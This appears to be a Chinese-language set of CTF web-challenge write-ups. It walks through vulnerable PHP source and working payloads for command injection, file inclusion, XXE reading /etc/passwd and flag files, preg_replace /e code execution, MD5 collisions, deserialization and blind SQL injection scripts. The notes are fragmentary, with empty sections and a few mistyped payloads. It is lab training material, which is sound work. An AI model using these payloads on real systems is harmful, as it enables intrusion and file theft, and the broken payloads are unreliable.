的echo 'Welcome to '.$this->source."<br>";
来实现
[RoarCTF 2019]Easy Java
1
WEB-INF/web.xml泄露漏洞及其利用
打开i题目是一个登录窗,暴力破解得到密码是admin888
登录
点击help
提示有help文档下载发现里面什么也没有
然后更改1文件名发现,{}里面内容也会改变
结合题目java猜测可能存在WEB-INF/web.xml泄露
抓包更改请求方法发包
然后我们在响应包里面看见了flag,所以这里是存在泄露的
然后根据WEB-INF文件夹内容所有的class文件都被放在了classes文件夹下,所以直接读取flag
读取成功,发现一段base64编码
ZmxhZ3s4MzJlZTUwYi01MDhhLTQwY2QtOWZkOS02OGU0NTJmOGZkNWV9Cg==
解码:flag{832ee50b-508a-40cd-9fd9-68e452f8fd5e}
ctfshow 七夕杯 web签到
命令执行,重定向读取文件和绕过字符长度限制
打开题目
是命令执行,但是只会执行命令不会回显而且字符长度限制为7
所以构造重定向,将flag文件读入到我们创建的文件里面
nl /*>2 读取根目录下面所有文件并写入到新建的文件2里面
执行命令
访问文件2
得到flag
ctfshow 七夕杯 web easy_calc
打开题目代码审计
f(check($code)){//定义了一个f函数,通过eval函数进行代码执行
eval('$result='."$code".";");
echo($result);
}
function check(&$code){
$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];
if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}
if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}
if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}
WUSTCTF2020]朴实无华
1
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){ //定义了num的范围,整数值<2020,加一的整数值要大于2021
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))//对参数md5传进去的值进行MD5加密判断是否和加密前相同
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){ //判断$get_flag是否含有空格
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);//把变量里cat 替换成wctf2020
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);//
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
//intval()函数获取变量的整数值
//strstr()函数判断参数值里面是否有指定字符
//str_ireplace()函数对参数值里面的特点字符替换成指定字符
这个题有三层判断,要进行三层绕过
第一层:
intval获取变量整数值,要求小于2020,加一大于2021,这里要对这个intval函数绕过
知识点:intval函数,当函数里面使用的是科学计数法返回科学计数法值前一个数,而函数里面是科学计数法加数字返回科学计数法值
所以这里可以构造:num=2e5
第二层:要求变量MD5加密前后值相同
可以构造md5=0e215962017
第三层:str_ireplace会把cat替换掉,所有我们不能在参数中使用cat
if下面有一个system函数可以执行命令,我们可以构造paylaod:get_flag=ls 查看目录文件
paylaod:num=2e5&md5=0e215962017&get_flag=ls
目录下有fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag文件,flag应该就在这里面
但是cat命令被过滤,但是tac命令可以使用我们这里可以使用tac命令输出flag
构造payload:
num=2e5&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag
打开题目:
访问robots.txt
访问这个文件
显示说flag不在这里,抓包看看
访问得到源码:
出现一堆乱码:
火狐摁Ait键,修复编码
就可以得到源码
然后构造paylaod得到flag
[BJDCTF2020]Mark loves cat
1
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y ;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
}
第一种解法:
foreach($_GET as $x => $y){
$$x = $$y;
}
构造yds=flag
则$x=yds,$y=flag
则 $$x=$$y
即
$yds=$flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
这里要求post和get都不能传入参数flag然后exit($yds)会输出$yds并推出
然后$yds=$flag
所有这样就可以输出flag
第二种解法:
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
这里是核心,exit($is),会输出$is,那么我们构造出$is=$flag,就可以利用这里输出flag
而触发这个if的条件是post或者get要传入一个参数flag=flag
可以get传参中构造flag=flag用于触发这个if
然后下一步就是构造$is=$flag
实现这一步的核心在于:
foreach($_GET as $x => $y){
$$x = $$y;
}
所以传入is=flag
$x=yds
$y=flag
$$X=$$y
就可以构造出$is=$flag
所以整体payload:
is=flag$flag=flag
第三种解法:
?handsome=flag&flag=x&x=flag
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
这里是核心
核心代码就是exit($handsome)
目的同样是构造出$handsome=$flag
构造的核心代码还是:
foreach($_GET as $x => $y){
$$x = $$y;
}
同样是传入handsome=flag
最终可以构造出$handsome=$flag
但是想要触发exit(handsome)所在区域if
if($_GET['flag'] === $x && $x !== 'flag'){
要传入一个flag参数
结合上面:
$handsome=$flag
所以要想让输出flag
需要使传入的$flag=$flag,但是这里要求$flag=$x
所以我们可以构造$x=$flag
所以我们可以传入x=flag
这里触发for循环,构造出$x=$flag
这样的话也不会触发$x=flag
因为我们最终传入的是$x=$flag
这样整体paylaod:
handsome=flag&flag=x&xflag
就可以得到flag
[BJDCTF2020]ZJCTF,不过如此
1
源码:
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ //
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
//file_get_contents() 函数把整个文件读入一个字符串中。
next源码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id; //通过$_SESSION变量储存一个id值
function complex($re, $str) { //定义一个函数
return preg_replace( //这里进行了一个正则替换
'/(' . $re . ')/ei',
'strtolower("\\1")',//
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
?\S*=${getflag()}&cmd=show_source(%22/flag%22);
preg_replace('/(S*)/ie','strtolower("${getflag()}")','${getflag()}')
第一部分正则匹配到${getflag()}又因为/e模式,使得${getflag()}被当作php代码执行,执行成功返回1,
strtolower(1)
show_source() 函数对文件进行语法高亮显示。
题解:
通过get方式传入text参数,text参数要包含"i have a dream"
file_get_contents($text,'r')==="I have a dream",
是以file_get_contents打开test参数,所以这里可以使用data伪协议
使用data控制输入流
构造:
text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=
第二个参数是file
这里有一个正则匹配
pre_match进行匹配,不能在file里面中匹配到flag
所以不能直接读取flag文件,但是可以构造payload读取next.php
paylaod:
text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
读取到next源码,base64解码得到
在next源码中:
核心代码:
function complex($re, $str) { //定义一个函数
return preg_replace( //这里进行了一个正则替换
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
这里是我们获得flag的关键函数,我们需要通过这个函数去触发getflag(),通过参数参数cmd进行命令执行,但是要想触发这个函数,需要通过下面代码构造payload
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
这里的get传参方式不是get(参数)形式,这里传入的参数作为键名,值作为键值。
在preg_replace()中第一个参数含有/e ,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
构造payload:
?\S*=${getflag()}&cmd=show_source(%22/flag%22);
分析上面payload触发正则匹配
preg_replace('/(S*)/ie','strtolower("${getflag()}")','${getflag()}')
第一部分正则匹配到${getflag()}又因为/e模式,使得${getflag()}被当作php代码执行,执行成功返回1,
strtolower(1)
payload中?\S*是为了能够进行正则匹配,如果用?.*在php中.会被解析为_这样就会导致正则匹配出错,导致无法匹配到可变变量
通过?\s*=${getflag()}可以使正则匹配到getflag(),把gtflag()当作变量执行,这样就可以调用参数cmd
function getFlag(){
@eval($_GET['cmd']);
}
执行getflag函数进行执行。
[GWCTF 2019]我有一个数据库
1
这是phpMyAdmin 4.8.1 远程文件包含漏洞,通过payload可以验证漏洞是否存在
http://xxx:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd(%253f是两次url编码)
http://xxx:8080/index.php?target=db_sql.php%253f/../../../../../../../../flag
[网鼎杯 2020 朱雀组]phpweb
1
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); //定义了一个黑名单
function gettime($func, $p) {
$result = call_user_func($func, $p);//核心代码
$a= gettype($result); //判断字符类型
if ($a == "string") { //判断是否是字符串
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
题解:
这道题的核心代码是:
$result = call_user_func($func, $p)
关于call_user_func($func,$p)函数,这个函数是这道题的关键
先看关于这个函数的讲解:
call_user_func — 把第一个参数作为回调函数调用
通过函数的方式回调
例如:
<?php
function barber($type){
echo "you wanted a $type haircut, no problem\n";
}
call_user_func('barber','mushroom');
?>
这个call_user_func回调第一个参数作为函数去执行第二个参数,类似构造出barber(mushroom)
所以在这个题目中我们可以让func=system,p=命令
但是system等大多数执行函数都被过滤了,所以这里我们可以使用反序列化去执行
操作
构造序列化paylaod:
<?php
class Test{
var $p="find / -name flag*";
var $func="system";
}
$a=new Test();
echo serialize($a);
构造func=unserizase&p=序列化后字符串
从而得到flag
还有一种方法绕过黑名单
构造:func=/system
打开题目
而且一直在刷新,抓包看看
然后把这两个参数值随便修改了
响应包中出现了一个call_user_func()函数,然后知道这是一个回调函数
构造paylaod发包
[GXYCTF2019]禁止套娃
1
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp']) ){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {//对危险字符进行了过滤
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
题解:
这是个代码审计的题目,有四个if
第一个if
判断是否传入参数exp并赋值
第二个if
对传入参数值进行检测,过滤了data等伪协议一些字符
第三个if
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']
进行一个正则匹配
(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+[a−z,]+\((?R)?[a−z,]+\((?R)?\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子
第四个if
对传入参数的值进行检查,过滤了et,na,info等字符
当绕过几个正则
@eval($_GET['exp']);
eval可以执行代码,但是因为正则过滤的原因,没有办法直接传参进行命令执行
但是我们可以通过php内置函数去获取flag
构造payload:
?exp=print_r(scandir(pos(localeconv())));
localeconv()函数:返回一个包含本地数字及货币格式信息的数组。第一个数组是.
pos():传入数组,回显第一个数组的值,pos可以用current代替
所以pos(localeconv())等同于.
scandir():以数组形式回显目录下所有文件,scandir(.)是回显当前目录
print_r():输出
然后scandir(.)回显当前目录下文件print_r输出
所有通过上述payload可以得到当前目录下面的文件
然后发现了flag文件接下来就是读取flag文件
读取flag构造payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
highlight_file:highlight_file() : 使用PHP内置的语法高亮器所定义的颜色,打印输出或者返回 filename 文件中语法高亮版本的代码。
array_reverse() : 将数组中的内容倒序输出
next() : 是指向数组第一个元素的指针指向下一个元素
这里如果还用print_r会输出文件名不会输出文件内容,high.在这里作用类似于cat
通过第一个payload我们可以得知flag文件在倒数第二个位置
所有我们可以先使用 array_reverse()函数将数组内容倒序输出,然后现在是指针第一个位置,我们可以听过next函数将指针指向下一个数组,然后就可以输出flag
打开题目:
然后我们使用相关工具 githack 进行利用
然后在 githack 的目录中打开这个文件,代码如下:并进行分析
构造payload:?exp=print_r(scandir(pos(localeconv())));
构造payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
[BSidesCF 2020]Had a bad day
1
为协议读取index内容获取源码
?category=php://filter/read=convert.base64-encode/resource=index
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){//判断$file中是否出现三个字符串其中之一
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
题解:
这个源码就比较简单了
第二个if判断传入参数中是否出现woofers,meowers,index其中一个,如果出现其中一个就会在执行$file.php
所以我们可以使用伪协议读取flag
构造payload:
?category=php://filter/read=convert.base64-encode/woofers/resource=flag
index
meowers
[NCTF2019]Fake XML cookbook
1
xxe
打开题目是一个登录框
但是却不是sql注入漏洞,根据题目提示是xxe
抓包构造paylaoad
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>1</password></user>
得到flag
[安洵杯 2019]easy_web
1
源码:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img']))); //参数img的解密
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);//将文件名中的一些特殊符号替换为空
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file)); //将文件base64编码后传到前端
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
题解:
这道题目的核心代码是:
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
}
一个MD5的强类型,需要是字符来碰撞。
要求a和b不同但是MD5加密值相同
构造:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
从而去执行echo '$cmd'
$(cmd)和`cmd`的作用是相同的,在执行一条命令时,会先将其中的 ``,或者是$() 中的语句当作命令执行一遍,再将结果加入到原命令中重新执行,例如:
echo `ls`
会先执行 ls 得到xx.sh等,再替换原命令为:
echo xx.sh
所以我们可以在这里进行命令执行
由于ls等命令都被过滤了,我们这里可以使用dir
dir命令是Windows系统常用的命令。显示目录的文件和子目录的列表
或者使用/绕过检测
构造paylaod
?cmd=dir%20/
?cmd=ca\t%20/flag
[强网杯 2019]高明的黑客
1
打开题目
访问www.tar.gz得到密码文件,
大佬是用脚本扫出来木马文件
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(30) #这儿设置最大的线程数
filePath = r"D:\phpstudy_pro\WWW\src" #指定文件路径
os.chdir(filePath) #改变当前工作的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath) #os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。
session = requests.Session() #创建session对象
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file): #用来对单个php文件进行测试的函数
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) #获取文件中包含所有GET型参数的名字的列表
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read())) #获取文件中包含所有POST型参数的名字的列表
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets: #为所有的get型参数赋值存在字典中
params[m] = "echo 'xxxxxx';"
for n in posts: #为所有的post型参数赋值存在字典中
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file #放在自己的www目录下,进行拼接,方便request进行请求
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text #获取请求后网页的返回内容
if "xxxxxx" in content: #判断phpecho语句是否被执行,如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1 #表明是get型参数起作用
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content: #表明是post型参数起作用
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
但是使用d盾也扫出来很多后门
然后访问这个木马文件
x构造payload:
k0SzyKwfzw.php?Efa5BVG=ls /
[安洵杯 2019]easy_serialize_php
1
继续代码审计
<?php
$function = @$_GET['f']; //get传参参数f
function filter($img { //定义了一个对php等字符的过滤
$filter_arr = array('php','flag','php5','php4','fl1g');//定义了一个黑名单
$filter = '/'.implode('|',$filter_arr).'/i';//implode把数组元素混合为字符串
return preg_replace($filter,'',$img);//将匹配到的字符过滤为空
}
if($_SESSION){
unset($_SESSION); //unset() 函数用于销毁给定的变量。
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
[BJDCTF 2020]easy_md5
[FBCTF2019]RCEService
1
<?php
putenv('PATH=/home/rceservice/jail');//putenv是用来改变或增加环境变量的内容。
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) { //检测变量是否是字符串
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {//定义了一个正则匹配
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];//这里对输入变量进行了json解密
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
题解:
$cmd = json_decode($json, true)['cmd'];
这段代码是这道题的关键,对输入的变量进行了json解密,所以我们输入的变量要是json形式的,
{"cmd":"ls"}
但是正则匹配过滤了很多东西,所以我们这里要想办法绕过正则匹配
[Zer0pts2020]Can you guess it?
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
题解:
第一种解法:
这里我们看前半段:
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
这里的核心代码是: highlight_file(basename($_SERVER['PHP_SELF']));
$_SERVER['PHP_SELF']会回显url地址(payload地址)
例如:http://www.baidu.com/index.php/flag.php
返回的就是/index.php/flag.php
然后我们这里看basename函数
basename() 函数返回路径中的文件名部分。
实例:
<?php
$path = "/testweb/home.php";
//显示带有文件扩展名的文件名
echo basename($path);
//显示不带有文件扩展名的文件名
echo basename($path,".php");
?>
结果:
home.php
home
那第一种方法我们就可以利用这个函数去获取config.php这个文件名,然后使用highlight_file输出文件内容就可以得到flag
但是正则匹配到config.php下面的语句就不能继续执行,所以要想办法绕过这个正则匹配
basename还有一个特性就是会删除获取到的文件名前面或是后门的asciall码值
所以我们可以在config.php后面加一个asciall值造成正则匹配污染
例如构造:config.php/%ff?source
这样basename获取到的文件名是%ff但是basename会把%ff删除掉,所以最终获取到的是config.php就达到了我们想要绕过的目的
第一种解法涉及的知识
大概就是$_SERVER['PHP_SELF'] basename
关于这两个函数:
$_SERVER['PHP_SELF'] 是返回url地址也就是payload
测试代码:
<?php
highlight_file(__FILE__);
if (isset($_GET['source'])) {
echo(basename($_SERVER['PHP_SELF']));
exit();
}
?>
basename 函数就是获取文件名
测试代码:
<?php
highlight_file(__FILE__);
if (isset($_GET['source'])) {
echo($_SERVER['PHP_SELF']);
exit();
}
?>
第二种思路:
random_bites:生成适合加密使用的任意长度的加密随机字节字符串
代码:
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
大概意思就是对64进行随机加密,然后我们传进去的值要和随机加密值相同,这就很离谱了,这里卡着了,一个是有个什么绕过方法
待补充。。。。。。。
[CISCN2019 华北赛区 Day1 Web2]ikun
1
提示要买到ipv6,但是看了好几个页面都没找到ipv6所以只能写脚本来跑
import requests
for i in range(1,201):
url='http://4dab904b-159f-45a0-bf6a-441fa36b2427.node4.buuoj.cn:81/shop?page='+str(i)
result=requests.get(url).content.decode('utf-8')
if 'lv6.png' in result:
print(url+'ok')
else:
print(url+'no')
[CSCCTF 2019 Qual]FlaskLight
1
[SWPUCTF 2021 新生赛]pop
[CISCN 2019华北Day2]Web1
异或注入:
脚本:
import requests
import time
import re
url='http://1.14.71.254:28998/index.php'
flag = ''
for i in range(1,50):
for c in range(0,127):
payload = '0^(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(c) + ')'
r = requests.post(url,data = {'id':payload})
#print(str(r.content))
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
print(i)
else:
flag += chr(c)
print(flag)
break
[SUCTF 2019]EasyWeb
1
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
<?php
$sandbox = '/www/sandbox/' . md5("catf1ag" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>
Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
代码非常简单,这道题会对php://进行过滤,所以我们要绕过这个strstr和str_place函数,
这两个函数都区分大小写,所有可以使用大小写绕过
可以读取到文件,可以使用input协议,去执行命令
61.147.171.105:49618/?page=pHp://input
post数据: a =
过滤了php我们可以使用data流写入一句话木马和执行命令
hello参数有回显这里是引用hello是有回显的,所以说不定这里可以命令执行然后回显到浏览器
/?page=http://127.0.0.1/?hello=
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str) //定义了一个waf
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;//只能为数字
} else {
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>